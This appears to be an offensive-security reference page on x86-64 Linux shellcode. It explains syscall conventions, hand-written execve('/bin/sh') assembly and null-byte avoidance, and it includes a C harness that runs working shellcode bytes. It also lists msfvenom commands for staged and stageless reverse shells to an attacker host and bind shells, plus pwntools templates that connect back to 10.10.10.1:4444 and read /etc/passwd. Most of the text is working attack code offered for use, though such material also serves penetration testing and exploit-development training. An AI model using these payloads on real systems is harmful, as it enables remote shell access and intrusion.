Linux Shellcode
Overview
Linux shellcode is position-independent machine code that performs operations
via Linux syscalls. The most common shellcode spawns a shell (/bin/sh) via
the execve syscall, but shellcode can also bind a shell to a port, connect
back to an attacker, read files, or stage additional payloads.
This file covers x86-64 Linux shellcode. The key difference from x86 (32-bit)
is the syscall convention: x86-64 uses the syscall instruction and different
register assignments, while x86 uses int 0x80.
ATT&CK Mapping
- Tactic: TA0002 - Execution
- Technique: T1059 - Command and Scripting Interpreter
Prerequisites
- NASM assembler (for hand-crafted shellcode)
- GCC and ld (for linking and testing)
- objdump and objcopy (for extracting raw shellcode bytes)
- msfvenom (for pre-built shellcode)
- pwntools (for shellcraft templates and inline assembly)
x86-64 Linux Syscall Convention
| Register | Purpose |
|---|---|
| RAX | Syscall number |
| RDI | 1st argument |
| RSI | 2nd argument |
| RDX | 3rd argument |
| R10 | 4th argument |
| R8 | 5th argument |
| R9 | 6th argument |
The syscall instruction invokes the kernel. Return value goes in RAX.
Key syscall numbers (x86-64):
| Syscall | Number |
|---|---|
| execve | 59 (0x3b) |
| dup2 | 33 (0x21) |
| socket | 41 (0x29) |
| connect | 42 (0x2a) |
| bind | 49 (0x31) |
| listen | 50 (0x32) |
| accept | 43 (0x2b) |
| read | 0 |
| write | 1 |
| open | 2 |
Hand-Crafted execve Shellcode
Assembly Source
; execve_sh.asm — execve("/bin/sh", NULL, NULL) — x86-64
; Assemble: nasm -f elf64 execve_sh.asm -o execve_sh.o
; Link: ld -o execve_sh execve_sh.o
BITS 64
global _start
_start:
; Clear registers
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
; Push "/bin//sh" onto the stack
push rsi ; null terminator
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" in little-endian
push rdi
mov rdi, rsp ; rdi = pointer to "/bin//sh"
; execve syscall
mov al, 59 ; syscall number (avoids null in full mov rax, 59)
syscall
Assembling and Extracting Shellcode
# NASM
# https://www.nasm.us/
# Assemble to ELF64 object
nasm -f elf64 execve_sh.asm -o execve_sh.o
# Link to executable (for testing)
ld -o execve_sh execve_sh.o
# Test it
./execve_sh
# Extract raw shellcode bytes
objcopy -O binary execve_sh.o execve_sh.bin
# View shellcode as hex
xxd execve_sh.bin
# Convert to C-style byte string
objdump -d execve_sh.o | grep '^ ' | cut -f2 | tr -d ' \n' | \
sed 's/\(..\)/\\x\1/g' | fold -w 48 | sed 's/^/"/; s/$/"/'
Shellcode Constraints
Null bytes (\x00): Many vulnerabilities involve string functions
(strcpy, gets) that stop at null bytes. Avoid null bytes in shellcode:
| Problematic | Null-Free Alternative |
|---|---|
mov rax, 59 |
xor rax, rax; mov al, 59 |
mov rdi, 0 |
xor rdi, rdi |
push 0 |
xor rsi, rsi; push rsi |
Size constraints: Some buffers are small. Minimize shellcode size by using shorter instruction encodings and avoiding unnecessary operations.
Bad characters: Beyond null bytes, the target may filter \n (0x0a),
\r (0x0d), spaces (0x20), or other bytes. Identify bad characters through
testing and adjust the shellcode accordingly.
msfvenom Shellcode Generation
# msfvenom
# https://github.com/rapid7/metasploit-framework
# execve /bin/sh (44 bytes)
msfvenom -p linux/x64/exec CMD=/bin/sh -f c
# Staged reverse shell
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c
# Stageless reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f c
# Bind shell on port 4444
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -f c
# Avoid bad characters
msfvenom -p linux/x64/exec CMD=/bin/sh -b '\x00\x0a\x0d' -f c
# Output as raw bytes
msfvenom -p linux/x64/exec CMD=/bin/sh -f raw > shellcode.bin
# Output as Python byte string
msfvenom -p linux/x64/exec CMD=/bin/sh -f python
Key flags:
- -p — payload name
- -f — output format (c, python, raw, elf, hex)
- -b — bad characters to avoid (triggers encoding)
- -e — encoder (e.g., x86/shikata_ga_nai)
- -i — encoder iterations
- LHOST — attacker IP (for reverse shells)
- LPORT — port number
Common output formats:
| Format | Flag | Use Case |
|---|---|---|
| C array | -f c |
Embed in C exploit code |
| Python | -f python |
Embed in Python exploit |
| Raw | -f raw |
Binary shellcode file |
| ELF | -f elf |
Standalone executable |
| Hex | -f hex |
Manual byte inspection |
pwntools shellcraft
pwntools provides architecture-aware shellcode templates:
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.arch = 'amd64'
# execve("/bin/sh") shellcode
shellcode = asm(shellcraft.sh())
print(f"Size: {len(shellcode)} bytes")
print(f"Hex: {shellcode.hex()}")
# Print the assembly source
print(shellcraft.sh())
Common shellcraft Templates
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.arch = 'amd64'
# Spawn /bin/sh
asm(shellcraft.sh())
# Read a file and write to stdout
asm(shellcraft.cat('/etc/passwd'))
# Connect back to attacker
asm(shellcraft.connect('10.10.10.1', 4444) + shellcraft.dupsh())
# Bind shell on port 4444
asm(shellcraft.bindsh(4444))
# Execute a specific command
asm(shellcraft.execve('/bin/cat', ['cat', '/etc/passwd'], 0))
# Custom syscall
asm(shellcraft.syscall('SYS_write', 1, 'Hello\n', 6))
Inline Assembly in Exploits
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.arch = 'amd64'
# Custom assembly
shellcode = asm('''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
xor rdx, rdx
mov al, 59
syscall
''')
Testing Shellcode
C Wrapper
// test_shellcode.c — compile: gcc -z execstack -o test_shellcode test_shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
"\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
int main() {
printf("Shellcode length: %lu\n", sizeof(shellcode) - 1);
((void(*)())shellcode)();
return 0;
}
pwntools Runner
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
p = run_shellcode(shellcode)
p.interactive()
Checking for Bad Characters
# Check if shellcode contains null bytes
xxd shellcode.bin | grep ' 00'
# Check for specific bad characters
python3 -c "
data = open('shellcode.bin', 'rb').read()
bad = [0x00, 0x0a, 0x0d, 0x20]
for i, b in enumerate(data):
if b in bad:
print(f'Bad byte 0x{b:02x} at offset {i}')
"